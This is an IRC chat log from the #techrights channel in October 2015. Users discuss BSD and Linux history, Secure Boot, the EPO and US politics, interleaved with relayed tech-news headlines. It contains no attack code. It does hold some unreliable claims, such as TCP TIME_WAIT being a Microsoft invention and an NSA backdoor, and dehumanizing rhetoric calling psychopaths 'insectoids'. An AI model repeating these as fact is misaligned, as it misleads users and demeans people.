| cubexyz | by 1974 it left the lab, and was used by many academic insitutions | Oct 06 18:15 |
| cubexyz | BSD 1.0 appeared in 1978 | Oct 06 18:15 |
| cubexyz | support for TCP/IP appeared in 4.2BSD in 1982 | Oct 06 18:16 |
| cubexyz | Linux 0.01 appeared in sept 17th, 1991 | Oct 06 18:16 |
| cubexyz | so it's silly to say that without Linux we would have no internet | Oct 06 18:17 |
| cubexyz | some of the earlier ISPs were using BSD | Oct 06 18:17 |
| cubexyz | some still do to this day | Oct 06 18:19 |
| TweetTuxMachines | @tuxmachines today's leftovers http://t.co/UWLSgjvaET | Oct 06 18:46 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 18:46 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjl5 | Oct 06 18:46 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's leftovers | Tux Machines | Oct 06 18:46 | |
| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 18:46 |
| TweetTuxMachines | Microsoft Continues to Attack Google and | Oct 06 18:46 |
| TweetTuxMachines | Android/Linux http://t.co/8Ne07huwnm | Oct 06 18:46 |
| TweetTuxMachines | (techrights.org) | Oct 06 18:46 |
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| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 18:46 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 18:46 |
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| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 18:46 | |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 18:46 | |
| TweetTuxMachines | @tuxmachines Three Cheers to Randa 2015 and Mario | Oct 06 18:54 |
| TweetTuxMachines | http://t.co/YpAST2X8PT | Oct 06 18:54 |
| TweetTuxMachines | (alltypesofhacking.blogspot.com) | Oct 06 18:54 |
| -TechrightsBot-tr/#techrights-alltypesofhacking.blogspot.com | dreams are meant to be true: Three Cheers to Randa 2015 and Mario | Oct 06 18:54 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjol | Oct 06 18:54 |
| TweetTuxMachines | @tuxmachines Red Hat eyes app platform leader with Samsung | Oct 06 18:55 |
| TweetTuxMachines | https://t.co/ZuIdOfXXda (www.koreatimes.co.kr) | Oct 06 18:55 |
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| -TechrightsBot-tr/#techrights-www.koreatimes.co.kr | Red Hat eyes app platform leader with Samsung | Oct 06 18:55 | |
| TweetTuxMachines | @tuxmachines KDE Ships Plasma 5.4.2, bugfix Release for | Oct 06 18:55 |
| TweetTuxMachines | October https://t.co/l9DhNZd10l (dot.kde.org) | Oct 06 18:55 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjon | Oct 06 18:55 |
| -TechrightsBot-tr/#techrights-dot.kde.org | KDE Ships Plasma 5.4.2, bugfix Release for October | KDE.news | Oct 06 18:55 | |
| *amonobeax has quit (Quit: Leaving) | Oct 06 18:56 | |
| schestowitz | https://twitter.com/2E0EOL/status/651455154244427776] | Oct 06 18:57 |
| -TechrightsBot-tr/#techrights-@2E0EOL: @schestowitz Saying "Bye forever" is nothing new on the internet. She said she doesn't want to work "professionally with", but it's FOSS! | Oct 06 18:57 | |
| msb_ | About a week ago I started getting about 5 telemarketer calls a day. I signed up for this free service, which only works for VOIP phones like Comcast, and so far it has stopped 50% of them. https://www.nomorobo.com/ Nomorobo is currently supported on these VoIP carriers: AT&T U-Verse, Astound Broadband, BroadVoice/PhonePower, Cablevision/Optimum, Comcast, Sonic, SureWest, Time Warner, Ooma Premier, Verizon FiOS, Voipo, Voip.ms, | Oct 06 19:00 |
| -TechrightsBot-tr/#techrights-www.nomorobo.com | Stop robocalls and telemarketers with Nomorobo | Oct 06 19:00 | |
| msb_ | Vonage, 1-Voip, and Wave Broadband. | Oct 06 19:00 |
| msb_ | It works when you set up your phone carrier to ring nomorobo's phone as well as yours. It checks the caller-ID against its database, and hangs up the call if it finds a match. It only works on calls with a full 10-digit callerID number. | Oct 06 19:03 |
| msb_ | So if the phone only rings once or twice, you can ignore it. | Oct 06 19:05 |
| TweetTuxMachines | @tuxmachines System76 Is Launching Skylake Computers Powered | Oct 06 19:07 |
| TweetTuxMachines | by Ubuntu, Become a Superfan | Oct 06 19:07 |
| TweetTuxMachines | http://t.co/59leW0G2fM (news.softpedia.com) | Oct 06 19:07 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | System76 Is Launching Skylake Computers Powered by Ubuntu, Become a Superfan - Softpedia | Oct 06 19:07 | |
| TweetTuxMachines | @tuxmachines SteamOS Now Based on Debian 8.2 and Fully | Oct 06 19:07 |
| TweetTuxMachines | Supports Xbox 360 and Xbox One Controllers | Oct 06 19:07 |
| TweetTuxMachines | http://t.co/UkdHE3Pige (news.softpedia.com) | Oct 06 19:07 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjud | Oct 06 19:07 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | SteamOS Now Based on Debian 8.2 and Fully Supports Xbox 360 and Xbox One Controllers - Softpedia | Oct 06 19:07 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 19:07 |
| TweetTuxMachines | history http://t.co/JjwDbcrp8U (certmag.com) | Oct 06 19:07 |
| TweetTuxMachines | "Linux is a surprisingly successful operating | Oct 06 19:08 |
| TweetTuxMachines | system." | Oct 06 19:08 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjug | Oct 06 19:08 |
| -TechrightsBot-tr/#techrights-certmag.com | Why a penguin? Recapping a slice of Linux history - CertMag | Oct 06 19:08 | |
| cubexyz | there's no doubt that Linux is successful | Oct 06 19:09 |
| cubexyz | in some ways, it's a better desktop than the BSDs | Oct 06 19:11 |
| cubexyz | although BSD is much closer to the original Unix and has a lot less bloat | Oct 06 19:11 |
| *TweetTuxMachines @REALMattRichie retweeted @tuxmachines: 'Why a penguin? Recapping a slice of Linux...' | Oct 06 19:12 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 19:12 |
| TweetTuxMachines | Packages Updated http://t.co/8dKHOWfjvT | Oct 06 19:12 |
| TweetTuxMachines | (news.softpedia.com) | Oct 06 19:12 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated - Softpedia | Oct 06 19:12 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nxjwg | Oct 06 19:12 |
| cubexyz | did you hear the Linux kernel got forked? | Oct 06 19:18 |
| cubexyz | http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 19:20 |
| XRevan86 | cubexyz: Again? | Oct 06 19:20 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 19:20 | |
| XRevan86 | Garrex | Oct 06 19:21 |
| cubexyz | XRevan86, I'm not aware of any other forks | Oct 06 19:21 |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 19:23 |
| TweetTuxMachines | almost amazing http://t.co/79kq9DZeHx | Oct 06 19:23 |
| TweetTuxMachines | (www.computerworld.com) | Oct 06 19:23 |
| -TechrightsBot-tr/#techrights-www.computerworld.com | Android 6.0 up close: Google Now on Tap is almost amazing | Computerworld | Oct 06 19:23 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nxk1k | Oct 06 19:23 |
| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 19:23 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 19:23 |
| TweetTuxMachines | http://t.co/vmTLHuucv1 (www.phoronix.com) | Oct 06 19:23 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxk1l | Oct 06 19:23 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes - Phoronix | Oct 06 19:23 | |
| *__martin__ (~martin@unaffiliated/--martin--/x-1730694) has joined #techrights | Oct 06 19:26 | |
| __martin__ | evade asus devices, now, even with smaller form factors | Oct 06 19:26 |
| __martin__ | preinstalled m$ bloatware by default from now on | Oct 06 19:27 |
| __martin__ | (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 19:27 |
| __martin__ | (= | Oct 06 19:27 |
| *__martin__ (~martin@unaffiliated/--martin--/x-1730694) has left #techrights | Oct 06 19:27 | |
| TweetTuxMachines | @tuxmachines Media Reports Based on New Patents Suggest That | Oct 06 19:34 |
| TweetTuxMachines | retweeted by Microsoft Continues to Attack Google and | Oct 06 19:34 |
| TweetTuxMachines | @schestowitz Android/Linux http://t.co/8Ne07huwnm | Oct 06 19:34 |
| TweetTuxMachines | (techrights.org) | Oct 06 19:34 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxk1x | Oct 06 19:34 |
| -TechrightsBot-tr/#techrights-techrights.org | Media Reports Based on New Patents Suggest That Microsoft Continues to Attack Google and Android/Linux, Trying to Tax and Delete Android | Techrights | Oct 06 19:34 | |
| TweetTuxMachines | @tuxmachines "Valerie Aurora, former kernel developer and | Oct 06 19:34 |
| TweetTuxMachines | open source diversity champion, and leaders at | Oct 06 19:34 |
| TweetTuxMachines | the Linux Foundation." http://t.co/b1s0QkPyvO | Oct 06 19:34 |
| TweetTuxMachines | (www.linux.com) | Oct 06 19:34 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Linux.com | Oct 06 19:34 | |
| *TweetTuxMachines @EvanRBarry favourited 'Industrial touch-panel runs Linux or Android on i.MX6...' | Oct 06 19:44 | |
| TweetTuxMachines | @tuxmachines SparkyLinux 4.1 Screencast and Screenshots | Oct 06 19:44 |
| TweetTuxMachines | http://t.co/gYxAbHbqKZ (www.linuxquestions.org) | Oct 06 19:44 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkc4 | Oct 06 19:44 |
| -TechrightsBot-tr/#techrights-www.linuxquestions.org | SparkyLinux 4.1 Screencast and Screenshots | Oct 06 19:44 | |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468102291468288 | Oct 06 19:46 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: JUST BECAUSE ! https://t.co/z3Sf6jLpBC | Oct 06 19:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz: If the West provided safe haven for fugitive Russians to have free speech and complain about USSR/Russia, why is it bad when Russia does it? | Oct 06 19:46 | |
| schestowitz | [19:26] <__martin__> evade asus devices, now, even with smaller form factors | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> preinstalled m$ bloatware by default from now on | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> (meanwhile asatya accepts mobile os marketshare fail) | Oct 06 19:46 |
| schestowitz | [19:27] <__martin__> (= | Oct 06 19:46 |
| schestowitz | Yes | Oct 06 19:46 |
| schestowitz | We have an old tablet that's ASUS/Nexus | Oct 06 19:46 |
| schestowitz | But I won't be buying it gain | Oct 06 19:46 |
| schestowitz | *again | Oct 06 19:46 |
| schestowitz | also a samsung g2 | Oct 06 19:46 |
| schestowitz | Both will have MS in future releases/products | Oct 06 19:46 |
| schestowitz | [19:18] <cubexyz> did you hear the Linux kernel got forked? | Oct 06 19:47 |
| schestowitz | [19:20] <cubexyz> http://linux.slashdot.org/story/15/10/06/1553233/matthew-garrett-forks-the-linux-kernel | Oct 06 19:47 |
| -TechrightsBot-tr/#techrights-linux.slashdot.org | Matthew Garrett Forks the Linux Kernel - Slashdot [ http://ur1.ca/nxk0d ] | Oct 06 19:47 | |
| schestowitz | BS | Oct 06 19:47 |
| schestowitz | won't fly | Oct 06 19:47 |
| schestowitz | just some annoying guy (I fought with him before, called him "Microsoft Apologist") | Oct 06 19:47 |
| schestowitz | https://twitter.com/FrancisJeffrey7/status/651468806192164864 | Oct 06 19:49 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: @Snowden @schestowitz (1) USA bureaucrats consistently have asserted that anything they do is, A PRIORI, legal until adjudicated BY #SCOTUS. | Oct 06 19:49 | |
| cubexyz | I still think it's a good idea to run more than one operating system | Oct 06 19:57 |
| cubexyz | just have a few secondary or tertiary computers, put chromeOS or BSD on them | Oct 06 19:59 |
| cubexyz | or even Plan 9 | Oct 06 19:59 |
| *XRevan86 (~XRevan86@meowr.ru) has left #techrights | Oct 06 20:02 | |
| cubexyz | securelevel is from NetBSD I think | Oct 06 20:04 |
| TweetTuxMachines | @tuxmachines Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, | Oct 06 20:06 |
| TweetTuxMachines | retweeted by Wind River Linux 8 http://t.co/6VikiKXENe | Oct 06 20:06 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 06 20:06 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkcc | Oct 06 20:06 |
| TweetTuxMachines | @tuxmachines Today in Techrights http://t.co/vCwaitDSSy | Oct 06 20:06 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 20:06 |
| -TechrightsBot-tr/#techrights-techrights.org | Links 6/10/2015: Linux 4.3 RC4, HP OpenSwitch, Wind River Linux 8 | Techrights | Oct 06 20:06 | |
| TweetTuxMachines | @schestowitz | Oct 06 20:06 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkfn | Oct 06 20:06 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Today in Techrights | Tux Machines | Oct 06 20:06 | |
| cubexyz | I don't believe in the "my way or the highway" approach | Oct 06 20:07 |
| cubexyz | interoperability is a good thing | Oct 06 20:07 |
| cubexyz | my way or the highway is Microsoft's mantra | Oct 06 20:09 |
| *jono has quit (Quit: This computer has gone to sleep) | Oct 06 20:13 | |
| cubexyz | did Garrett work on secure boot stuff? | Oct 06 20:15 |
| cubexyz | ah, I see that he did | Oct 06 20:16 |
| cubexyz | oh, mgj59 is Garrett | Oct 06 20:16 |
| cubexyz | at least he's pro-GPL | Oct 06 20:17 |
| TweetTuxMachines | @tuxmachines today's howtos http://t.co/uIc3biGDVY | Oct 06 20:25 |
| TweetTuxMachines | retweeted by (www.tuxmachines.org) | Oct 06 20:25 |
| TweetTuxMachines | @jesusguevarauto | Oct 06 20:25 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkup | Oct 06 20:25 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux Machines | Oct 06 20:25 | |
| TweetTuxMachines | @tuxmachines Android 6.0 up close: Google Now on Tap is | Oct 06 20:25 |
| TweetTuxMachines | almost amazing http://t.co/eneamltAGb | Oct 06 20:25 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 20:25 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkur | Oct 06 20:25 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android 6.0 up close: Google Now on Tap is almost amazing | Tux Machines | Oct 06 20:25 | |
| TweetTuxMachines | @tuxmachines Solus Is Now Using Linux Kernel 4.1.10, Lots of | Oct 06 20:26 |
| TweetTuxMachines | Packages Updated http://t.co/TEOv4Js0Fn | Oct 06 20:26 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 20:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Solus Is Now Using Linux Kernel 4.1.10, Lots of Packages Updated | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines Why a penguin? Recapping a slice of Linux | Oct 06 20:26 |
| TweetTuxMachines | history http://t.co/4M5oSb7Y7V | Oct 06 20:26 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 06 20:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkuw | Oct 06 20:26 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why a penguin? Recapping a slice of Linux history | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines AMD Has More Developers Working On Their | Oct 06 20:26 |
| TweetTuxMachines | Open-Source Driver Behind The Scenes | Oct 06 20:26 |
| TweetTuxMachines | http://t.co/etmdUasPQA (www.tuxmachines.org) | Oct 06 20:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkux | Oct 06 20:26 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AMD Has More Developers Working On Their Open-Source Driver Behind The Scenes | Tux Machines | Oct 06 20:26 | |
| TweetTuxMachines | @tuxmachines Ally Skills Training at LinuxCon 2015: Uniting | Oct 06 20:26 |
| TweetTuxMachines | All the World’s Geeks, No Exceptions | Oct 06 20:26 |
| TweetTuxMachines | http://t.co/8NCOQOgMIV (www.tuxmachines.org) | Oct 06 20:26 |
| TweetTuxMachines | ........................................ http://ur1.ca/nxkuy | Oct 06 20:26 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ally Skills Training at LinuxCon 2015: Uniting All the World’s Geeks, No Exceptions | Tux Machines | Oct 06 20:26 | |
| *TweetTuxMachines @techmuser favourited 'Why a penguin? Recapping a slice of Linux...' | Oct 06 20:26 | |
| cubexyz | long story short: you don't really want secure boot | Oct 06 20:32 |
| cubexyz | Microsoft controls the master key | Oct 06 20:32 |
| cubexyz | I don't want to have to disable secure boot | Oct 06 20:34 |
| cubexyz | I don't want the secure boot firmware at all | Oct 06 20:34 |
| cubexyz | also: "Programmatic disabling of secure boot either during boot services after exiting EFI Boot services must NOT be possible on ARM systems" | Oct 06 20:38 |
| cubexyz | Microsoft could pull the carpet out from under you can any time | Oct 06 20:42 |
| schestowitz | https://twitter.com/AJimenez1988/status/651479100910096384 https://twitter.com/AJimenez1988/status/651481904185741316 | Oct 06 20:44 |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Same as boycotting Brendan Eich was not about "gay rights" but about DRM. | Oct 06 20:44 | |
| -TechrightsBot-tr/#techrights-@AJimenez1988: @schestowitz Yeah, opium, lithium and the Great Game were completely unintended side perks. | Oct 06 20:44 | |
| cubexyz | so then what happened later? | Oct 06 20:49 |
| cubexyz | Microsoft announced that Windows 10 will not require manufacturers to include an option to turn off UEFI | Oct 06 20:49 |
| cubexyz | tightening the screws | Oct 06 20:49 |
| *jono (~jono@ubuntu/member/jono) has joined #techrights | Oct 06 20:50 | |
| cubexyz | TCP/IP port lingering? A microsoft invention | Oct 06 20:55 |
| msb_ | cubexyz: The alternative, for people who want a 3 times faster, 8 core cpu, is to use an AMD FX-8350 and an ASUS 990FX R2.0 mobo in which secure boot can be turned off permanently. The cpu and mobo each cost $180. The DASH intrusion system in the cpu (or AMT intrusion system in an Intel cpu) is defeated by an external custom deep-packet-inspection router that deletes all DASH packets. The router can also send specific DASH packets to | Oct 06 21:06 |
| msb_ | tie up the DASH system. Hopefully the router can be a Raspberry Pi or the like. | Oct 06 21:06 |
| schestowitz | http://ipkitten.blogspot.co.uk/2015/10/epo-bids-to-save-litigating-employees.html | Oct 06 21:07 |
| -TechrightsBot-tr/#techrights-ipkitten.blogspot.co.uk | The IPKat: EPO bids to save litigating employees from union's human rights infractions [ http://ur1.ca/nxldc ] | Oct 06 21:07 | |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | That is really topping up everything which came up to now. | Oct 06 21:08 |
| schestowitz | When a national court issues a decision which displeases the President, then it is to be ignored, as national law is not applicable to EPO. Now, national law is good and should be respected. | Oct 06 21:08 |
| schestowitz | Have those two VP no sense of shame, especially VP5 which is a legally qualified person (or merely thinks he is one)? | Oct 06 21:08 |
| schestowitz | More hypocrisy is difficult to overthrow. | Oct 06 21:08 |
| schestowitz | Poor EPO with such "leaders and managers". | Oct 06 21:08 |
| schestowitz | Mao said it a long time ago: the fish stinks from head.....How true | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | rots from the head | Oct 06 21:08 |
| schestowitz | "Any thoughts of guilt, any feelings of regret, has faded. BB has baked the VP’s out. " | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | Isn't it the EPO who locks up "suspects", sorry, the "guilty" for hours on end for "questioning", in a setting reminiscent of the opening scene of "Das Leben der Anderen", without any kind of assistance? And the same EPO that threatens them with unspeakable things should they either keep silent before their tormentors, or mention their ordeal to anyone? | Oct 06 21:08 |
| schestowitz | I can't see in this text anything but a lame attempt for the EPO to create a flimsy excuse to refuse to interact with any counsel the staff member may have retained. | Oct 06 21:08 |
| schestowitz | The paternalistic suggestion that a staff member get counseling with the EPO's very own legal department [?] that is responsible for the present mess, is astounding, but the situation is so far out that I ran out of rage and indignation. | Oct 06 21:08 |
| schestowitz | " | Oct 06 21:08 |
| schestowitz | https://twitter.com/Ellen_Timmer/status/651489417929064448 | Oct 06 21:10 |
| -TechrightsBot-tr/#techrights-@Ellen_Timmer: @schestowitz @meneer Moet je wel #NoScript e.d. aan zetten | Oct 06 21:10 | |
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| msb_ | schestowitz: What you are describing is a system designed by and for psychopaths. This is the norm for Western governments and corporations. Here's a video about it, called...I am Fishead! https://www.youtube.com/watch?v=bcRRZsag0Io | Oct 06 21:18 |
| -TechrightsBot-tr/#techrights-www.youtube.com | I Am Fishead Are Corporate Leaders Egotistical Psychopaths ) - YouTube [ http://ur1.ca/nxlhq ] | Oct 06 21:18 | |
| msb_ | schestowitz: Full-blown psychopaths are not human, not people. Their hardware is human, but their software is anti-human, predatory. It may help to think of them as insectoids. Rage and indignation have no effect on them (except maybe to afford them some enjoyment at the suffering of their victim). Those emotions were evolved to have an effect on people that have harmed us. Psychopaths are not people. Getting angry at them is | Oct 06 21:30 |
| msb_ | counterproductive. Instead, just focus your effort on defeating them. You wouldn't get angry at a shark chasing you, or a boulder rolling down a mountain toward you, right? Because these things aren't human. | Oct 06 21:30 |
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| TweetTuxMachines | @tuxmachines IBM releases Power-based Linux servers with | Oct 06 21:41 |
| TweetTuxMachines | Nvidia GPUs http://t.co/MydG1qiwjD | Oct 06 21:41 |
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| -TechrightsBot-tr/#techrights-www.theinquirer.net | IBM releases Power-based Linux servers with Nvidia GPUs- The Inquirer | Oct 06 21:41 | |
| TweetTuxMachines | @tuxmachines What Are Linux Meta-packages? | Oct 06 21:42 |
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| -TechrightsBot-tr/#techrights-freedompenguin.com | What Are Linux Meta-packages? - Freedom Penguin | Oct 06 21:42 | |
| TweetTuxMachines | @tuxmachines Displaylink adds Linux support for USB monitors | Oct 06 21:42 |
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| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow Review: Google | Oct 06 21:44 |
| TweetTuxMachines | Outsmarts Apple By Guessing Your Next Move | Oct 06 21:44 |
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| -TechrightsBot-tr/#techrights-www.wsj.com | Android 6.0 Marshmallow Review: Google Outsmarts Apple By Guessing Your Next Move - WSJ | Oct 06 21:45 | |
| TweetTuxMachines | @tuxmachines Slackel Linux: Not Your Father's Slackware | Oct 06 21:45 |
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| -TechrightsBot-tr/#techrights-www.linuxinsider.com | Slackel Linux: Not Your Father's Slackware | Reviews | LinuxInsider | Oct 06 21:45 | |
| TweetTuxMachines | @tuxmachines IBM releases Power-based Linux servers with | Oct 06 21:45 |
| TweetTuxMachines | Nvidia GPUs http://t.co/w1v1OgnMz6 | Oct 06 21:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM releases Power-based Linux servers with Nvidia GPUs | Tux Machines | Oct 06 21:45 | |
| TweetTuxMachines | @tuxmachines Red Hat News http://t.co/6xsktSYcKA | Oct 06 21:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat News | Tux Machines | Oct 06 21:45 | |
| TweetTuxMachines | @tuxmachines Android 6.0 Marshmallow Review: Google | Oct 06 21:45 |
| TweetTuxMachines | Outsmarts Apple By Guessing Your Next Move | Oct 06 21:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android 6.0 Marshmallow Review: Google Outsmarts Apple By Guessing Your Next Move | Tux Machines | Oct 06 21:45 | |
| TweetTuxMachines | @tuxmachines Slackel Linux: Not Your Father's Slackware | Oct 06 21:45 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Slackel Linux: Not Your Father's Slackware | Tux Machines | Oct 06 21:45 | |
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| msb_ | RT Excellent show Watching the Hawks. BP fined $20billion for totally negligent Deepwater Horizon spill. But the DOJ is allowing BP to write off $15billion of it on their taxes!!! | Oct 06 23:05 |
| MinceR | bailout? :> | Oct 06 23:11 |
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| msb_ | It shows who controls the US govt -- the ultra-wealthy and their corporations. During the spill the govt environment agency insisted there was no oil on the ocean floor. But movies taken from a mini-sub showed the bottom was covered with a thick layer of oil plus extremely toxic dispersant, shown on US TV. The bottom is where shrimp and some fish spend half their lives, and shrimp are showing up with no eyes and horrible tumors. The | Oct 06 23:31 |
| msb_ | people of the Gulf are still suffering, but BP is bailed out by the US govt. | Oct 06 23:31 |
| msb_ | This is _not_ democracy. | Oct 06 23:32 |
| MinceR | on some level, it indeed isn't. and it's up to you the people to fix that. | Oct 06 23:34 |
| MinceR | via election reform, campaign finance reform, etc. | Oct 06 23:34 |
| msb_ | Bernie Sanders for President, and Larry Lessig for Vice President! | Oct 06 23:39 |
| MinceR | the other way around | Oct 06 23:40 |
| cubexyz | stallman is putting the smack-down on spotify | Oct 06 23:40 |
| MinceR | Larry will step down once he's done anyway | Oct 06 23:40 |
| cubexyz | naturally spotify has DRM and snooping | Oct 06 23:40 |
| MinceR | he needs to put the smackdown on cancerd | Oct 06 23:41 |
| cubexyz | "out, out damned spotify" :) | Oct 06 23:41 |
| MinceR | :) | Oct 06 23:42 |
| cubexyz | well, that's why I keep talking about BSD | Oct 06 23:42 |
| cubexyz | no perfect solution | Oct 06 23:42 |
| msb_ | cubexyz: What is port lingering and why is it bad? | Oct 06 23:42 |
| msb_ | Is it like port loitering near a schoolyard dressed only in a raincoat? | Oct 06 23:44 |
| cubexyz | just a sec... | Oct 06 23:45 |
| cubexyz | ok | Oct 06 23:45 |
| cubexyz | There are fears that Microsoft uses the "TIM_WAIT" state after a disconnect | Oct 06 23:46 |
| cubexyz | one needs to read up on gethostbyname and windows sockets | Oct 06 23:46 |
| cubexyz | not sure what software uses it | Oct 06 23:47 |
| cubexyz | so NSA could use it as a way in on Linux, not just Windows | Oct 06 23:47 |
| msb_ | So it's not a problem for Linux? | Oct 06 23:47 |
| cubexyz | not really sure to tell you the truth | Oct 06 23:48 |
| cubexyz | it's possible that gethostbyname uses windows sockets, I'm not sure yet | Oct 06 23:48 |
| MinceR | i thought unix did TIME_WAIT too | Oct 06 23:50 |
| MinceR | http://superuser.com/questions/173535/what-are-close-wait-and-time-wait-states | Oct 06 23:50 |
| -TechrightsBot-tr/#techrights-superuser.com | windows - What are CLOSE_WAIT and TIME_WAIT states? - Super User [ http://ur1.ca/nxn7h ] | Oct 06 23:50 | |
| cubexyz | yeah, this guy who wrote this could be a bit paranoid | Oct 06 23:52 |
| cubexyz | but he seems knowledgeable | Oct 06 23:52 |
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| TweetTuxMachines | @hschneider66 A piece of #RaspberryPi daily: | Oct 07 09:18 |
| TweetTuxMachines | http://t.co/EfU7lTyh60 (paper.li) ThanX to | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-paper.li | A piece of Raspberry Pi daily | Oct 07 09:18 | |
| TweetTuxMachines | @tuxmachines The ZFS File System Will Be Included in Ubuntu, | Oct 07 09:18 |
| TweetTuxMachines | Says Mark Shuttleworth http://t.co/S0OITF8Vyh | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | The ZFS File System Will Be Included in Ubuntu, Says Mark Shuttleworth - Softpedia | Oct 07 09:18 | |
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| TweetTuxMachines | @tuxmachines Git 2.6.1 Open-Source Distributed Version | Oct 07 09:18 |
| TweetTuxMachines | Control System Adds Xdiff Changes | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Git 2.6.1 Open-Source Distributed Version Control System Adds Xdiff Changes - Softpedia | Oct 07 09:18 | |
| TweetTuxMachines | @tuxmachines Ubuntu-Based Black Lab Linux 7 Operating System | Oct 07 09:18 |
| TweetTuxMachines | Gets an RC Build with Firefox 41 | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu-Based Black Lab Linux 7 Operating System Gets an RC Build with Firefox 41 | Tux Machines | Oct 07 09:18 | |
| TweetTuxMachines | @tuxmachines Android-x86 Now Based on Android 5.1.1 | Oct 07 09:18 |
| TweetTuxMachines | Lollipop, Supports UEFI PCs and 64-Bit Kernels | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android-x86 Now Based on Android 5.1.1 Lollipop, Supports UEFI PCs and 64-Bit Kernels | Tux Machines | Oct 07 09:18 | |
| TweetTuxMachines | @tuxmachines Why the software world needs a 'no-fly zone' | Oct 07 09:18 |
| TweetTuxMachines | for patents http://t.co/5YmDR5ECF9 | Oct 07 09:18 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Why the software world needs a 'no-fly zone' for patents | Tux Machines | Oct 07 09:18 | |
| schestowitz | "third party" http://news.softpedia.com/news/microsoft-office-in-windows-against-third-party-alternatives-492990.shtml | Oct 07 09:39 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Microsoft Office in Windows against Third-Party Alternatives - Softpedia [ http://ur1.ca/nxuhl ] | Oct 07 09:39 | |
| schestowitz | https://twitter.com/Messgorough/status/651689482727653376 | Oct 07 10:27 |
| -TechrightsBot-tr/#techrights-@Messgorough: @schestowitz At last! Google plays reign of terror needs to end. | Oct 07 10:27 | |
| TweetTuxMachines | @tuxmachines Univention Corporate Server 4.1 to Implement | Oct 07 10:31 |
| TweetTuxMachines | Docker Apps, Linux Kernel 4.1 LTS | Oct 07 10:31 |
